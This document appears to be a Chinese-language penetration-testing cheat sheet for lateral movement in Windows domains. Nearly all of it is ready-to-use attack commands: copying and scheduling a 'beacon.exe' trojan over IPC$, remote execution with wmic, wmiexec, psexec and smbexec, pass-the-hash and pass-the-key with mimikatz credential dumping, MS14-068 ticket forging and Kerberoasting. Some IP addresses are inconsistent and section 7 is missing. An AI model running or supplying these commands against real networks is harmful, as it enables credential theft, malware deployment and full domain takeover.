1.IPC横向
1.1 执行IPC
1.2 定时任务与IPC
1.2.1at
2.WMI横向
2.1 wmic
2.2 cscript
2.3 wmiexec
3. SMB横向
3.1 psexec
3.2 smbexec
4. PTH
5. PTK
6. PTT(MS14-068)
8. 域委派
1.IPC横向
IPC(Internet Process Connection)共享命名管道的资源是为实现过程间通信而开放的命名管道。IPC139、445端口可通过验证用户名和密码获得相应的权限
利用条件 1.目标机打开139和445端口; 2.目标主机管理员打开ipc$默认共享; 3.了解目标机的账号密码;
1.1 执行IPC
net use \\server\ipc$ "password" /user:username #工作组 net use \\server\ipc$ "password" /user:domain\username #域内 dir \\xx.xx.xx.xx\C$\ #查看文件列表 copy \\xx.xx.xx.xx\C$\xx.bat xx.bat #下载文件 copy 1.bat \\xx.xx.xx.xx\C$ #复制文件 net use \\xx.xx.xx.xx\C$\xx.bat /del #删除IPC net view xx.xx.xx.xx #查看对方共享 net use #检查连接是否建立 (1)5:拒绝访问可能是用户不是管理员权限,需要先提高权限 (2)51:网络问题,Windows 找不到网络路径 (3)53:找不到网络路径,可能是 IP 地址错误、目标未启动、防火墙等问题 (4)67:找不到网络名称,本地 Lanmanworkstation 服务没有启动,目标删除 ipc$ (5)1219:提供的凭证与现有凭证集发生冲突,已建立 IPC$,需要先删除 (6)1326:账号密码错误 (7)1792:目标 NetLogon 服务没有启动,连接域控制经常发生 (8)2242:用户密码过期,目标有账户策略,强制定期更改密码
(1)目标系统不是 NT 或上述操作系统 (2)对方没有打开 IPC$共享 (3)对方未打开 139、445 或被防火墙屏蔽 (4)输出命令错误,账号密码错误
1.2 定时任务与IPC
1.2.1at
条件<
net use \\192.168.3.21\ipc$ "password" /user:god.org\administrator copy beacon.exe \\191.168.3.21\c$ #将木马复制到需要执行的主机上 at \\191.168.3.21 20:47 c:\beacon.exe #执行木马 2.WMI横向
WMI全称“windows从win自2003年以来一直存在。它最初的作用是方便管理员windows管理主机。因此,我们可以使用内网渗透WMI横向移动。
利用条件 1、WMI服务开放,端口135,默认开放。 2、防火墙允许135、445等端口通信。 3.了解目标机的账号密码。
2.1 wmic
wmic /node:191.168.3.31 /user:xxxx /password:xxxxx process call create "cmd.exe /c ipconfig>d:\result.txt" 无需上传第三方软件,利用系统内置程序,单命令执行,执行后无结果回显 
cscript //nologo wmiexec.vbs /shell 191.168.3.21 <username> <password>
cscript为系统自带命令,只需上传wmiexec.vbs然后进入该服务器内进行执行
2.3 wmiexec
wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami"
wmiexec god/administrator:Admin12345@192.168.3.21 "whoami"
wmiexec -hashes:518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "dir"
wmiexec -hashes:ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "dir"
3. SMB横向
利用SMB服务可以通过明文或hash传递来远程执行
利用条件 1、445端口开放 2、知道账号密码
3.1 psexec
微软官方工具(不支持hashes传递)
PsExec64.exe \\192.168.3.31 -u <username> -p <password> -s cmd
impacket工具包中的psexec进行hashe连接(非官方,二次开发)
psexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21
net use \\192.168.3.31\ipc$ "admin!@#45" /user:administrator
psexec \\192.168.3.31 -s cmd # 需要先有ipc链接 -s以System权限运行
注:psexec进行明文连接,要先进行IPC连接
3.2 smbexec
smbexec god/administrator:Admin12345@192.168.3.21 #域用户连接
smbexec ./administrator:admin!@#45@192.168.3.32 #本地账号连接
#hashes连接
smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 #本地用户
smbexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 #域用户
4. PTH
PTH 在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过 LM Hash 和 NTLM Hash 访问远程主机或服务,而不用提供明文密码。 如果禁用了 ntlm 认证,PsExec 无法利用获得的 ntlm hash 进行远程连接,但是使用 mimikatz 还是可以攻击成功。对于 8.1/2012r2,安装补丁 KB2871997 的 Win 7/2008r2/8/2012 等,可以使用 AES keys 代替 NT hash 来实现 PTK 攻击
1、在工作组环境中: Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。 Windows Vista 之后的机器,只能是Administrator用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非Administrator)也不能使用哈希传递攻击,会提示拒绝访问。
2、在域环境中: 只能是域管理员组内用户(可以是域管理员组内非Administrator用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器。 如果要用普通域管理员账号进行哈希传递攻击,则需要修改修改目标机器的 LocalAccountTokenFilterPolicy为1
mimikatz privilege::debug #先用mimikatz进行提权
mimikatz sekurlsa::logonPasswords # 获取用户的NTLM值(若是获取aes则使用sekurlsa:ekeys)
域环境:
mimikatz sekurlsa::pth /user:administrator /domain:god.org /ntlm:8a963371a63944419ec1adf687bb1be5
工作组环境下:
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:518b98ad4178a53695dc997aa02d455c
5. PTK
即Pass The Key ,当系统安装了KB2871997补丁且禁用了NTLM的时候,那我们抓取到的ntlm hash.也就失去了作用,但是可以通过pass the key的攻击方式获得权限。
总结:KB2871997 补丁后的影响: PTH:打补丁前任意用户都可以连接,打了补丁后只能 administrator 用户才可以连接 PTK:打补丁前不能连接,打补丁后才能任意用户都可以连接(采用 aes256 连接) 参考:https://www.freebuf.com/column/220740.html
6. PTT(MS14-068)
1.域控没有打MS14-068的补丁(KB3011780) 2.拿下一台加入域的计算机 3.有这台域内计算机的域用户密码和SID
1.先清空当前机器的票据信息
mimikatz kerberos::list #列出当前票据
mimikatz kerberos::purge #清除票据
whoami /user #然后查看本机的sid
2.ms14-068生成TGT票据
MS14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
MS14-068.exe -u dbadmin@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1130 -d 192.168.3.21 -p Admin12345
3.将票据注入到内存中
mimikatz kerberos::ptc 票据文件
mimikatz "kerberos::ptc TGT_dbadmin@god.org.ccache" exit
4.成功读取域控主机C盘目录下文件(注:若用IP访问则会提示拒绝访问)
Kerberoast攻击,就是攻击者为了获取目标服务的访问权限,而设法破解Kerberos服务票据并重写它们的过程。 之所以出现这种情况,是因为服务票的散列(NTLM)进行加密,所以任何域用户都可以从服务转储散列,而无需将shell引入运行该服务的系统中。
攻击者通常会选择那些可能设置了弱密,码破解成功率较高的票据来尝试破解。一旦攻击者成功破解出了票据,他们有时不仅仅获取的只是服务访问权限,如果服务被配置为在高权限下运行,那么整个域都将可能被攻击者拿下 。
服务主体名称(SPN)发现
请求服务票据
导出服务票据
破解服务票据
重写服务票据注入
注:一般只会破解服务账号明文,因为重写很难成功。
服务主体名称(SPN)发现
setspn -q */*
2.请求服务票据
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "SPN服务名"
或者用mimikatz请求服务
mimikatz.exe "kerberos::ask /target:SPN服务名"
导出服务票据
mimikatz.exe "kerberos::list /export"
破解服务票据
python tgsrepcrack.py passwd.txt xxxx.kirbi
8. 域委派
具体参考:
https://mp.weixin.qq.com/s/gZ5jVnc6IWZ1jZSB4fp1sw